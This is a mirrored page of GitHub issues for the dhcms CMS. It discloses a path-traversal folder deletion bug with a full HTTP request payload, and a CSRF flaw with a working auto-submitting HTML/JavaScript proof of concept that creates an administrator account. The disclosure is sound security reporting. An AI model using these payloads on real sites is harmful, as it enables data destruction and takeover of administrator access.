Git Product home page Git Product logo

dhcms's People

Contributors

shaogongbra avatar

Watchers

 avatar

dhcms's Issues

There is an arbitrary folder deletion vulnerability here:/admin.php?r=admin/AdminBackup/del

Vulnerability file: \framework\ext\Util.php
You can see that the following code does not filter ../ or ..\, it just filters . or .., which will cause any folder to be deleted
image

Vulnerability to reproduce:
1、Log in to the backend first
2、Construct the packet as follows:
.............................................
POST /admin.php?r=admin/AdminBackup/del HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.xxx.com/admin.php?r=admin/AdminBackup/index
Content-Length: 20
Cookie: PHPSESSID=prukpjkatj61ivpcp5lh976ok4
DNT: 1
Connection: close

data=../111
............................................
You can see that the page shows that the file was deleted successfully
86Y4W@)_U2F 17DXTD5H2R

Repair suggestion:
filter ../ or ..\

There is a CSRF vulnerability that can add the administrator account

After the administrator logged in, open the following page
poc:

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='group_id' value='1' />";
fields += "<input type='hidden' name='username' value='root' />";  
fields += "<input type='hidden' name='nicename' value='hack' />";  
fields += "<input type='hidden' name='email' value='[email protected]' />";  
fields += "<input type='hidden' name='password' value='hack123' />";
fields += "<input type='hidden' name='password2' value='hack123' />";  
fields += "<input type='hidden' name='status' value='1' />";  
fields += "<input type='hidden' name='user_id value='' />";  

var url = "http://127.0.0.1/dhcms/admin.php?r=admin/AdminUser/add&submit=提交";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.